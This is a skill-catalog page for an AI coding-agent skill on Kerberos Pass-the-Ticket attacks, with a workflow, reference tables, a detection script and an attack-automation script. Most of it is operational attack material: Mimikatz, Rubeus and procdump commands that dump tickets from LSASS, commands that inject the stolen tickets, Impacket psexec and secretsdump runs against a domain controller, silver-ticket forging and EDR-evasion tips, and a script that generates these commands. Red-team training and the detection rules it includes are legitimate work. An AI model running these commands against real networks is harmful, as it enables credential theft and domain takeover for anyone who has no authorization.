
Conducting Pass The Ticket Attack
- 71 installs
- 27.3k repo stars
- Updated August 2, 2026
- mukul975/anthropic-cybersecurity-skills
Helps with ai & agent building tasks.
About
conducting-pass-the-ticket-attack is a Claude Code skill in the AI & Agent Building category.
- conducting-pass-the-ticket-attack
- AI & Agent Building
- AI-coding skill
Conducting Pass The Ticket Attack by the numbers
- 71 all-time installs (skills.sh)
- Ranked #5,673 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill conducting-pass-the-ticket-attackAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 71 |
|---|---|
| repo stars | ★ 27.3k |
| Last updated | August 2, 2026 |
| Repository | mukul975/anthropic-cybersecurity-skills ↗ |
What it does
Helps with ai & agent building tasks.
Files
Conducting Pass-the-Ticket Attack
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Overview
Pass-the-Ticket (PtT) is a lateral movement technique that uses stolen Kerberos tickets (TGT or TGS) to authenticate to services without knowing the user's password. By extracting Kerberos tickets from memory (LSASS) on a compromised host, an attacker can inject those tickets into their own session to impersonate the ticket owner and access resources as that user.
When to Use
- When conducting security assessments that involve conducting pass the ticket attack
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
MITRE ATT&CK Mapping
- T1550.003 - Use Alternate Authentication Material: Pass the Ticket
- T1003.001 - OS Credential Dumping: LSASS Memory
- T1558 - Steal or Forge Kerberos Tickets
- T1021.002 - Remote Services: SMB/Windows Admin Shares
Workflow
Phase 1: Ticket Extraction
1. Gain local admin access on target workstation 2. Dump Kerberos tickets from LSASS memory using Mimikatz or Rubeus 3. Export tickets in .kirbi format (Mimikatz) or base64 (Rubeus) 4. Identify high-value tickets (Domain Admin TGTs, service tickets to critical systems)
Phase 2: Ticket Injection
1. Purge existing Kerberos tickets from attacker session 2. Import/inject stolen ticket into current session 3. Verify ticket is loaded and valid 4. Access target resources using injected ticket
Phase 3: Lateral Movement
1. Access remote systems using the stolen ticket identity 2. Perform actions as the impersonated user 3. Collect additional credentials from accessed systems 4. Document evidence of successful lateral movement
Tools and Resources
| Tool | Purpose | Command |
|---|---|---|
| Mimikatz | Ticket export/import | sekurlsa::tickets /export, kerberos::ptt |
| Rubeus | Ticket dumping and injection | dump, ptt, tgtdeleg |
| Impacket ticketConverter | Convert between formats | ticketConverter.py ticket.kirbi ticket.ccache |
| Impacket psexec/smbexec | Remote execution with ticket | KRB5CCNAME=ticket.ccache psexec.py |
Detection Indicators
- Event ID 4768 with unusual client addresses
- Event ID 4769 service ticket requests from unexpected hosts
- TGT usage from different IP than the TGT was issued to
- Multiple authentications from same ticket across different workstations
Validation Criteria
- [ ] Kerberos tickets extracted from compromised host
- [ ] Tickets injected into attacker session
- [ ] Lateral movement demonstrated using stolen tickets
- [ ] Evidence captured for reporting
Pass-the-Ticket Attack Report Template
Document Control
| Field | Value |
|---|---|
| Domain | [DOMAIN.LOCAL] |
| Engagement ID | [ID] |
| Date | [DATE] |
---
1. Ticket Extraction
| Source Host | Method | Tickets Found | High-Value |
|---|---|---|---|
| Mimikatz/Rubeus |
2. Ticket Details
| User | Type | Service | Expiry | Encryption |
|---|---|---|---|---|
| TGT/TGS | krbtgt/cifs | RC4/AES |
3. Lateral Movement Results
| Target | Access | Method | Evidence |
|---|---|---|---|
| Admin/User | PsExec/SMB | Screenshot |
4. Recommendations
1. Enable Credential Guard 2. Implement Protected Users group 3. Enable LSASS RunAsPPL protection 4. Monitor Event ID 4769 anomalies 5. Reduce TGT lifetime for admin accounts
MITRE ATT&CK
- T1550.003 - Pass the Ticket
- T1003.001 - LSASS Memory
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
Pass-the-Ticket Detection — API Reference
Libraries
| Library | Install | Purpose |
|---|---|---|
| impacket | pip install impacket | Kerberos ticket manipulation (ticketer.py, getST.py) |
| ldap3 | pip install ldap3 | AD LDAP queries for SPN and account enumeration |
| pySigma | pip install pySigma | Sigma rule parsing and conversion |
Key Windows Event IDs
| Event ID | Description | Relevance |
|---|---|---|
| 4768 | Kerberos TGT request | Golden ticket detection (RC4 = 0x17) |
| 4769 | Kerberos service ticket request | Silver ticket / Kerberoasting |
| 4770 | Kerberos service ticket renewed | Ticket reuse indicator |
| 4771 | Kerberos pre-auth failed | Password spray detection |
| 4624 | Successful logon | Correlate with ticket usage |
Encryption Type Constants
| Value | Algorithm | Concern |
|---|---|---|
| 0x17 | RC4-HMAC | Downgrade attack indicator |
| 0x12 | AES-256 | Expected modern encryption |
| 0x11 | AES-128 | Acceptable encryption |
MITRE ATT&CK Mapping
| Technique | ID |
|---|---|
| Use Alternate Authentication Material: Pass the Ticket | T1550.003 |
| Steal or Forge Kerberos Tickets: Golden Ticket | T1558.001 |
| Steal or Forge Kerberos Tickets: Silver Ticket | T1558.002 |
External References
Standards and Framework References
MITRE ATT&CK
| Technique ID | Name | Tactic |
|---|---|---|
| T1550.003 | Use Alternate Authentication Material: Pass the Ticket | Lateral Movement |
| T1003.001 | OS Credential Dumping: LSASS Memory | Credential Access |
| T1558 | Steal or Forge Kerberos Tickets | Credential Access |
| T1021.002 | Remote Services: SMB/Windows Admin Shares | Lateral Movement |
Kerberos Ticket Types
| Ticket | Purpose | Lifetime | Encryption |
|---|---|---|---|
| TGT (Ticket Granting Ticket) | Authenticates to KDC for TGS requests | 10 hours default | krbtgt NTLM hash |
| TGS (Ticket Granting Service) | Authenticates to specific service | 10 hours default | Service account hash |
Detection - Windows Event IDs
| Event ID | Description | PtT Indicator |
|---|---|---|
| 4768 | TGT Request | Unusual source IP for known user |
| 4769 | TGS Request | Service access from unexpected host |
| 4770 | TGT Renewal | Renewal from different IP than original |
| 4771 | Kerberos Pre-Auth Failed | May indicate ticket reuse attempts |
NIST SP 800-171
- 3.5.1: Identify system users, processes acting on behalf of users
- 3.5.2: Authenticate identities before allowing access
- 3.1.1: Limit system access to authorized users
CIS Controls
- Control 6: Access Control Management
- Control 8: Audit Log Management - Monitor Kerberos authentication events
Pass-the-Ticket Attack Workflows
Workflow 1: Mimikatz Ticket Extraction and Injection
Step 1: Export Tickets from LSASS
# Dump all Kerberos tickets from memory
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
# List exported .kirbi files
dir *.kirbi
# Identify high-value tickets (Domain Admin TGTs)
# Look for: [0;xxxxx]-2-0-40e10000-administrator@krbtgt-DOMAIN.LOCAL.kirbiStep 2: Inject Ticket into Session
# Purge existing tickets
mimikatz.exe "kerberos::purge" "exit"
# Or with klist
klist purge
# Import stolen ticket
mimikatz.exe "kerberos::ptt [0;xxxxx]-2-0-40e10000-administrator@krbtgt-DOMAIN.LOCAL.kirbi" "exit"
# Verify ticket is loaded
klistStep 3: Access Resources
# Access file shares as impersonated user
dir \\dc01.domain.local\c$
# Execute commands remotely
PsExec.exe \\dc01.domain.local cmd.exe
# Access admin shares
copy payload.exe \\dc01.domain.local\c$\windows\temp\Workflow 2: Rubeus Ticket Operations
Dump and Inject
# Dump all tickets (requires local admin)
.\Rubeus.exe dump
# Dump tickets for specific LUID
.\Rubeus.exe dump /luid:0x3e4
# Extract TGT for current user (no admin required)
.\Rubeus.exe tgtdeleg
# Inject ticket from base64
.\Rubeus.exe ptt /ticket:doIFmjCC...base64ticket...
# Create sacrificial process with ticket
.\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /ptt /ticket:base64ticketWorkflow 3: Linux-Based Pass-the-Ticket (Impacket)
Convert and Use Tickets
# Convert .kirbi to .ccache
impacket-ticketConverter ticket.kirbi ticket.ccache
# Set environment variable for ticket
export KRB5CCNAME=ticket.ccache
# Use with Impacket tools
impacket-psexec -k -no-pass domain.local/administrator@dc01.domain.local
impacket-smbexec -k -no-pass domain.local/administrator@dc01.domain.local
impacket-wmiexec -k -no-pass domain.local/administrator@dc01.domain.local
impacket-secretsdump -k -no-pass domain.local/administrator@dc01.domain.local
# List accessible shares
impacket-smbclient -k -no-pass domain.local/administrator@dc01.domain.localWorkflow 4: Silver Ticket (Forged TGS)
# Create silver ticket with Mimikatz (requires service account NTLM hash)
mimikatz.exe "kerberos::golden /user:administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:NTLM_HASH /ptt" "exit"
# Create silver ticket with Rubeus
.\Rubeus.exe silver /service:cifs/server.domain.local /rc4:NTLM_HASH /user:administrator /domain:domain.local /sid:S-1-5-21-xxx /pttOPSEC Considerations
1. Stolen tickets have limited lifetime (default 10 hours for TGT) 2. TGT reuse from different IP may trigger advanced detection 3. Silver tickets bypass the KDC entirely - harder to detect 4. Use createnetonly in Rubeus to avoid overwriting legitimate tickets 5. Monitor for credential guard which protects Kerberos tickets 6. Be aware that some EDR solutions monitor ticket injection
#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Usage against targets without prior mutual consent is illegal.
# It is the end user's responsibility to obey all applicable local, state and federal laws.
"""Pass-the-Ticket attack detection agent using Windows event log analysis."""
import json
import argparse
from datetime import datetime
def detect_ptt_events(log_file):
"""Analyze Windows Security logs for Pass-the-Ticket indicators."""
detections = []
try:
with open(log_file, "r") as f:
events = json.load(f)
except (FileNotFoundError, json.JSONDecodeError) as e:
return [{"error": str(e)}]
for event in events:
eid = str(event.get("EventID", ""))
if eid == "4768":
if event.get("TicketEncryptionType") == "0x17":
detections.append({
"event_id": eid,
"type": "TGT_request_rc4",
"account": event.get("TargetUserName", ""),
"source_ip": event.get("IpAddress", ""),
"severity": "HIGH",
"note": "RC4 TGT request may indicate golden ticket",
})
elif eid == "4769":
if event.get("TicketEncryptionType") == "0x17":
detections.append({
"event_id": eid,
"type": "service_ticket_rc4",
"account": event.get("TargetUserName", ""),
"service": event.get("ServiceName", ""),
"severity": "MEDIUM",
"note": "RC4 service ticket — potential Kerberoasting or PTT",
})
elif eid == "4624":
if event.get("LogonType") == "3" and event.get("AuthenticationPackageName") == "Kerberos":
source = event.get("IpAddress", "")
detections.append({
"event_id": eid,
"type": "network_logon_kerberos",
"account": event.get("TargetUserName", ""),
"source_ip": source,
"severity": "INFO",
"note": "Kerberos network logon — correlate with TGT anomalies",
})
return detections
def generate_sigma_rules():
"""Generate Sigma detection rules for Pass-the-Ticket."""
rules = [
{
"title": "Pass-the-Ticket via RC4 Encryption Downgrade",
"logsource": {"product": "windows", "service": "security"},
"detection": {
"selection": {"EventID": [4768, 4769], "TicketEncryptionType": "0x17"},
"condition": "selection",
},
"level": "high",
"tags": ["attack.lateral_movement", "attack.t1550.003"],
},
{
"title": "Anomalous Kerberos TGT Request from Non-Domain Controller",
"logsource": {"product": "windows", "service": "security"},
"detection": {
"selection": {"EventID": 4768},
"filter": {"IpAddress|startswith": ["::1", "127."]},
"condition": "selection and not filter",
},
"level": "medium",
"tags": ["attack.credential_access", "attack.t1558"],
},
]
return rules
def generate_hunt_queries():
"""Generate threat hunting queries for PTT detection."""
return {
"splunk": [
'index=wineventlog EventCode=4768 TicketEncryptionType=0x17 | stats count by Account_Name, src_ip',
'index=wineventlog EventCode=4769 ServiceName!="krbtgt" TicketEncryptionType=0x17 | table _time Account_Name ServiceName',
],
"kql": [
'SecurityEvent | where EventID == 4768 | where TicketEncryptionType == "0x17" | summarize count() by TargetAccount, IpAddress',
'SecurityEvent | where EventID == 4769 | where TicketEncryptionType == "0x17" | project TimeGenerated, TargetAccount, ServiceName',
],
}
def run_detection(log_file=None):
"""Execute Pass-the-Ticket detection analysis."""
print(f"\n{'='*60}")
print(f" PASS-THE-TICKET DETECTION ANALYSIS")
print(f" Generated: {datetime.utcnow().isoformat()} UTC")
print(f"{'='*60}\n")
if log_file:
events = detect_ptt_events(log_file)
print(f"--- EVENT ANALYSIS ({len(events)} detections) ---")
for e in events[:15]:
if "error" not in e:
print(f" [{e['severity']}] {e['type']}: {e.get('account', 'N/A')} from {e.get('source_ip', 'N/A')}")
rules = generate_sigma_rules()
print(f"\n--- SIGMA RULES ({len(rules)}) ---")
for r in rules:
print(f" [{r['level'].upper()}] {r['title']}")
queries = generate_hunt_queries()
print(f"\n--- HUNT QUERIES ---")
for platform, qlist in queries.items():
print(f" {platform.upper()}:")
for q in qlist:
print(f" {q[:80]}...")
return {"detections": events if log_file else [], "sigma_rules": rules, "hunt_queries": queries}
def main():
parser = argparse.ArgumentParser(description="Pass-the-Ticket Detection Agent")
parser.add_argument("--log-file", help="Windows event log JSON export")
parser.add_argument("--output", help="Save report to JSON file")
args = parser.parse_args()
report = run_detection(args.log_file)
if args.output:
with open(args.output, "w") as f:
json.dump(report, f, indent=2, default=str)
print(f"\n[+] Report saved to {args.output}")
if __name__ == "__main__":
main()
#!/usr/bin/env python3
"""
Pass-the-Ticket Attack Automation Tool
Automates PtT workflow including:
- Ticket extraction command generation
- Ticket format conversion
- Lateral movement command generation
- Attack documentation and reporting
Usage:
python process.py --mode extract --target workstation01
python process.py --mode convert --input ticket.kirbi --output ticket.ccache
python process.py --mode lateral --ticket ticket.ccache --target dc01.domain.local
python process.py --mode report --output ptt_report.md
Requirements:
pip install rich impacket
"""
import argparse
import base64
import json
import struct
import sys
from datetime import datetime
from pathlib import Path
from typing import Any
try:
from rich.console import Console
from rich.table import Table
from rich.panel import Panel
except ImportError:
print("[!] Missing dependencies. Install with: pip install rich")
sys.exit(1)
console = Console()
def generate_extraction_commands(target: str, method: str = "all") -> dict:
"""Generate commands for ticket extraction."""
commands = {
"mimikatz": {
"description": "Extract tickets using Mimikatz",
"commands": [
"privilege::debug",
"sekurlsa::tickets /export",
f"# Tickets exported to current directory as .kirbi files",
"# Look for TGT tickets: *krbtgt*.kirbi",
"# Look for high-value TGS: *cifs*dc*.kirbi, *ldap*dc*.kirbi",
],
},
"rubeus": {
"description": "Extract tickets using Rubeus",
"commands": [
".\\Rubeus.exe dump",
"# For specific LUID:",
".\\Rubeus.exe dump /luid:0x3e4",
"# TGT delegation trick (no admin required):",
".\\Rubeus.exe tgtdeleg",
"# Monitor for new logons:",
".\\Rubeus.exe monitor /interval:5 /filteruser:administrator",
],
},
"procdump": {
"description": "Dump LSASS for offline extraction",
"commands": [
f"procdump.exe -ma lsass.exe lsass.dmp",
"# Then offline with Mimikatz:",
"sekurlsa::minidump lsass.dmp",
"sekurlsa::tickets /export",
],
},
}
if method != "all":
return {method: commands.get(method, {})}
return commands
def generate_injection_commands(ticket_path: str, ticket_format: str = "kirbi") -> dict:
"""Generate commands for ticket injection."""
commands = {
"windows_mimikatz": [
"# Purge existing tickets",
"kerberos::purge",
f"# Inject ticket",
f"kerberos::ptt {ticket_path}",
"# Verify",
"kerberos::list",
],
"windows_rubeus": [
f"# Inject from file",
f".\\Rubeus.exe ptt /ticket:{ticket_path}",
"# Create process with ticket (safer - doesn't modify current session)",
f".\\Rubeus.exe createnetonly /program:C:\\Windows\\System32\\cmd.exe /ptt /ticket:{ticket_path}",
],
"linux_impacket": [
f"# Convert if needed (kirbi to ccache)",
f"impacket-ticketConverter {ticket_path} ticket.ccache",
"# Set environment variable",
"export KRB5CCNAME=ticket.ccache",
"# Verify ticket",
"klist",
],
}
return commands
def generate_lateral_movement_commands(target: str, domain: str, username: str = "administrator") -> dict:
"""Generate lateral movement commands using injected ticket."""
commands = {
"windows": [
f"# Access file share",
f"dir \\\\{target}\\c$",
f"# Remote command execution via PsExec",
f"PsExec.exe \\\\{target} cmd.exe",
f"# WMI remote execution",
f'wmic /node:"{target}" process call create "cmd.exe /c whoami > c:\\temp\\whoami.txt"',
f"# PowerShell remoting",
f"Enter-PSSession -ComputerName {target}",
],
"linux_impacket": [
f"# PsExec with Kerberos ticket",
f"impacket-psexec -k -no-pass {domain}/{username}@{target}",
f"# SMBExec",
f"impacket-smbexec -k -no-pass {domain}/{username}@{target}",
f"# WMIExec",
f"impacket-wmiexec -k -no-pass {domain}/{username}@{target}",
f"# SecretsDump (DCSync if targeting DC)",
f"impacket-secretsdump -k -no-pass {domain}/{username}@{target}",
f"# SMB client for file access",
f"impacket-smbclient -k -no-pass {domain}/{username}@{target}",
],
}
return commands
def analyze_kirbi_ticket(ticket_path: str) -> dict | None:
"""Parse basic information from a .kirbi ticket file."""
try:
with open(ticket_path, "rb") as f:
data = f.read()
info = {
"file": ticket_path,
"size": len(data),
"format": "kirbi" if data[:2] in [b'\x76\x82', b'\x61\x82'] else "unknown",
}
# Basic ASN.1 parsing - extract visible strings
strings = []
i = 0
while i < len(data):
if 32 <= data[i] <= 126:
s = ""
while i < len(data) and 32 <= data[i] <= 126:
s += chr(data[i])
i += 1
if len(s) > 3:
strings.append(s)
i += 1
info["extracted_strings"] = strings[:20]
# Try to identify realm and service from extracted strings
for s in strings:
if "." in s and s.isupper():
info["realm"] = s
if "/" in s:
info["service"] = s
return info
except Exception as e:
console.print(f"[red][-] Error parsing ticket: {e}[/red]")
return None
def convert_ticket(input_path: str, output_path: str):
"""Convert between ticket formats (kirbi <-> ccache)."""
try:
from impacket.krb5.ccache import CCache
from impacket.krb5 import constants
if input_path.endswith(".kirbi") and output_path.endswith(".ccache"):
ccache = CCache.loadKirbiFile(input_path)
ccache.saveFile(output_path)
console.print(f"[green][+] Converted {input_path} -> {output_path}[/green]")
elif input_path.endswith(".ccache") and output_path.endswith(".kirbi"):
ccache = CCache.loadFile(input_path)
# Export each credential as kirbi
for cred in ccache.credentials:
kirbi_data = cred.toKirbi()
with open(output_path, "wb") as f:
f.write(kirbi_data)
console.print(f"[green][+] Converted {input_path} -> {output_path}[/green]")
else:
console.print("[red][-] Unsupported conversion. Use .kirbi <-> .ccache[/red]")
except ImportError:
console.print("[yellow][!] Impacket not installed. Use manually:[/yellow]")
console.print(f"[cyan]impacket-ticketConverter {input_path} {output_path}[/cyan]")
except Exception as e:
console.print(f"[red][-] Conversion failed: {e}[/red]")
def generate_report(target: str, domain: str, findings: list[dict] | None, output_path: str):
"""Generate Pass-the-Ticket attack report."""
report = f"""# Pass-the-Ticket Attack Report
## Generated: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}
---
## 1. Executive Summary
Pass-the-Ticket attack was performed against {domain} environment. Kerberos tickets
were extracted from compromised hosts and used for lateral movement to target systems.
## 2. Attack Steps
### 2.1 Ticket Extraction
- **Source Host:** [COMPROMISED HOST]
- **Method:** [Mimikatz/Rubeus/LSASS dump]
- **Tickets Extracted:** [COUNT]
- **High-Value Tickets:** [LIST]
### 2.2 Ticket Injection
- **Target:** {target}
- **Ticket Used:** [TICKET DETAILS]
- **Identity Impersonated:** [USERNAME]
### 2.3 Lateral Movement
- **Access Achieved:** [FILE SHARE/RCE/DCSYNC]
- **Evidence:** [SCREENSHOT REFERENCES]
## 3. MITRE ATT&CK Mapping
| Technique | ID | Status |
|-----------|----|--------|
| Pass the Ticket | T1550.003 | Executed |
| LSASS Memory Dump | T1003.001 | Executed |
| SMB/Admin Shares | T1021.002 | Executed |
## 4. Recommendations
1. Enable Credential Guard to protect Kerberos tickets in memory
2. Implement Protected Users security group for privileged accounts
3. Deploy LSASS protection (RunAsPPL)
4. Monitor Event ID 4769 for anomalous service ticket requests
5. Reduce TGT lifetime for privileged accounts
6. Implement network segmentation to limit lateral movement
7. Deploy advanced EDR with credential theft detection
---
*Report Classification: CONFIDENTIAL*
"""
out = Path(output_path)
out.parent.mkdir(parents=True, exist_ok=True)
with open(out, "w") as f:
f.write(report)
console.print(f"[green][+] Report saved to: {output_path}[/green]")
def main():
parser = argparse.ArgumentParser(description="Pass-the-Ticket Attack Tool")
parser.add_argument("--mode", required=True,
choices=["extract", "inject", "lateral", "convert", "analyze", "report"],
help="Operation mode")
parser.add_argument("--target", help="Target host")
parser.add_argument("--domain", default="domain.local", help="Domain name")
parser.add_argument("--username", default="administrator", help="Username to impersonate")
parser.add_argument("--ticket", help="Path to ticket file")
parser.add_argument("--input", help="Input file for conversion")
parser.add_argument("--output", default="./ptt_report.md", help="Output path")
parser.add_argument("--method", default="all", choices=["all", "mimikatz", "rubeus", "procdump"],
help="Extraction method")
args = parser.parse_args()
if args.mode == "extract":
commands = generate_extraction_commands(args.target or "TARGET", args.method)
for method, details in commands.items():
console.print(Panel(
"\n".join(details.get("commands", [])),
title=f"{method}: {details.get('description', '')}",
))
elif args.mode == "inject":
if not args.ticket:
console.print("[red][-] --ticket required[/red]")
return
commands = generate_injection_commands(args.ticket)
for platform, cmds in commands.items():
console.print(Panel("\n".join(cmds), title=platform))
elif args.mode == "lateral":
commands = generate_lateral_movement_commands(
args.target or "dc01.domain.local",
args.domain,
args.username,
)
for platform, cmds in commands.items():
console.print(Panel("\n".join(cmds), title=f"Lateral Movement - {platform}"))
elif args.mode == "convert":
if not args.input or not args.output:
console.print("[red][-] --input and --output required[/red]")
return
convert_ticket(args.input, args.output)
elif args.mode == "analyze":
if not args.ticket:
console.print("[red][-] --ticket required[/red]")
return
info = analyze_kirbi_ticket(args.ticket)
if info:
console.print(Panel(json.dumps(info, indent=2), title="Ticket Analysis"))
elif args.mode == "report":
generate_report(args.target or "TARGET", args.domain, None, args.output)
if __name__ == "__main__":
main()